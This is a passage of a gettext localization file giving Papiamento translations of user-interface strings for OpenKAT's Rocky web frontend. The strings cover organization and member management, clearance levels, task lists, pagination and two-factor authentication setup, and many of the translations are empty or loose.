yiu di esaki\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"Esaki\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"mapa di resultado\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"di e\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"mustrando e mesun ophetonan.\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\"Por fabor pone e detayenan di e siguiente organisashon. E detayenan aki por \"\n\"wordu editá den e página di organisashon den OpenKAT si ta nesesario.\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"Edita organisashon\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"Warda organisashon\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"Añadi organisashon nobo\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"Resúmen di organisashon:\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"Labelnan\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"No a haña organisashonnan pa bo kuenta di usario\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"Pone bits kore atrobe\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"Editá miembronan\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"Warda miembronan\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"Añadí miembro(nan)\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"Manualmente\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"Subi un CSV\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"Resúmen di kliénte:\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"Rol\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"Nivel di autorisashon asigná\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"Super usario\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"Upload\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"Añadi indemnisashon\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"Observá na\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"Mustra settings\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"Skonde settings\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"Altera tur OOI-tiponan\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"Yunan\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"Mustra detayes pa %(object_id)s, ku %(child_count)s su yiunan.\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\"Mustra resultado pa %(object_id)s ku solamente yiunan di e tipo \"\n\"%(object_ooi_type)s\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"Habri %(object_id)s ku %(child_count)s su yiunan\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"bai na:\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"Bai na página detayá\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"Detaye\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"Bai na mapa di resultado\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"mapa\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"Mustra mapa di grafa\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"grafa\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"Herensia di nivel di autorisashon\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"OOI\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"Origen\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"Pone nivél di autorisashon na heredá\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"Reprodusí\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\n#, fuzzy\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"Por fabor sende plugin prome ku kuminsa start ku skan\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"No pone\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"Lubida email\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"Lubida password\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"error\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"Habri deklarashon\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"Sera deklarashon\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"Solamente mustra ophetonan di e tipo %(type)s\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"Skonde opcionnan di filter\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"Mustra opcionnan di filter\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"Listra pagina\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"Página anterior\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"Anterior\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"Sinku página bèk\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"Página\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"Sinku pagina dilanti\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"Sigiénte página\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"Sigiénte\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"Editá %(display_type)s\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"Skèn pa ophetonan\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"Subi CSV\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"Exportá\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"Download komo CSV\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"%(total)s diskubrimentunan na %(name)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"Diskubrimentu pa %(type)s %(name)s na %(observed_at)s:\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"Habri detaye di búskeda\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"Detayes di %(object_id)s\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\"Gravedat di e tìpo di diskubrimentu aki ainda no a ser determiná pa e fuente \"\n\"di dato. E situashon aki ta requeri investigashon manual di e gravedat.\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"Occurencianan totál\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"Mapa - aparensia denso\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"Mapa - aparensia tablatura\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"Update Lista\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"Nòmber di Organisashon\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"Kódigo di organisashon\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"Selektá organisashon\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"Tur organisashon\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"di\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"prome\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"anterior\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"siguinte\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"ultimo\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"Navegashon di usario\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"Sera navegashon di usario\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"Mi organisashonnan\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"Perfil\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"Bai na e kontenido\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\"Un bista general di e tarea boefje, e opheto di entrada OOI, y e datonan RAW \"\n\"cu el a generá.\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"Download meta data i data krudo\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"Deskarga meta datonan\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"Opheto di entrada\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"Fecha kreá\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"Opheto di Entrada \\\"Boefje\\\"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"Lista di tareanan\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"Ophetonan generá\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"Kambia fecha\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"Descarga datonan di tarea\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"Log in\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"Authentiká\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"Backup Tokens\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\"Backup tokens por wordu huza ora bo prome/backup number di telefón no ta \"\n\"alkansabel. E backup token nan akibounan por wordu huza pa verifika login. \"\n\"Si ba huza tur bo backup tokens nan, bo por generá un set nobo di backup \"\n\"tokens. Solamente e backup tokens nan akibounan ta bálido.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"Print e tokens nan aki i warda esakinan na un kaminda sigur. \"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"Ahinda bo no tin ningun backup tokens.\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"Generá Tokens\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"Bai bèk na Account Seguridat\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"Bo ta logged in\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"Two factor authentication ta aktivá pa bo account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\"Two factor authentication no ta aktivá pa bo account. Aktivá esaki pa \"\n\"kontinuá.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"Desactivá Two-factor Authentication\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"Kredenshalnan\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\"Huza e formulario aki pa yena backup tokens pa log in. E tokens nan aki a \"\n\"wordu generá pa bo, pa print i warda un kaminda sigur. Por favor yena un di \"\n\"e backup tokens nan aki pa log in den bo account.\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"Delaster kos ku por hasi ta, uza un backup token:\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"Uza Backup Token\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"Permiso Nengá\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\"E página ku ba pidi ta obligá kliénte pa verifika nan mes ku two-factor \"\n\"authentication pa rasonnan di seguridat. Bo mester aktivá e features nan di \"\n\"seguridat aki pa por tin accesso na e página aki.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\"Two-factor authentication no ta aktivá pa bo account. Aktivá two-factor \"\n\"authentication pa mejorá seguridat di account.\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"Aktivá Two-Factor Authentication\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"Añadí Backup Telefón\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\"Lo bo bai añadí un backup number di telefón na bo account. E number aki lo \"\n\"wordu uza ora bo prome methodo di registrashon no ta alkansabel.\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\"Nos a mandabu un token na bo number di telefón. Por favor hinka e token ku \"\n\"ba ricibi.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\"Pa kuminsa uza un generadó di token, por favor uza bo smartphone pa skan e \"\n\"QR codigo abou. Por ehempel, uza Google Authenticator. Despues, yena e token \"\n\"ku e app a generá.\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"QR code\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"Jabi sekreto\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\"E yabi sekreto ta un representashon di 32 karakter di e QR code. Tin 2 \"\n\"opcion pa ajustá e autentifikashon di dos faktor. Bo por skan e QR code aki \"\n\"of por insertá e yabi aki usando e opcion di yabi sekreto den e aplikashon \"\n\"di autentifikashon.\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"Pabién, bo á activá two-factor authentication ku èksito.\"\n\n#: 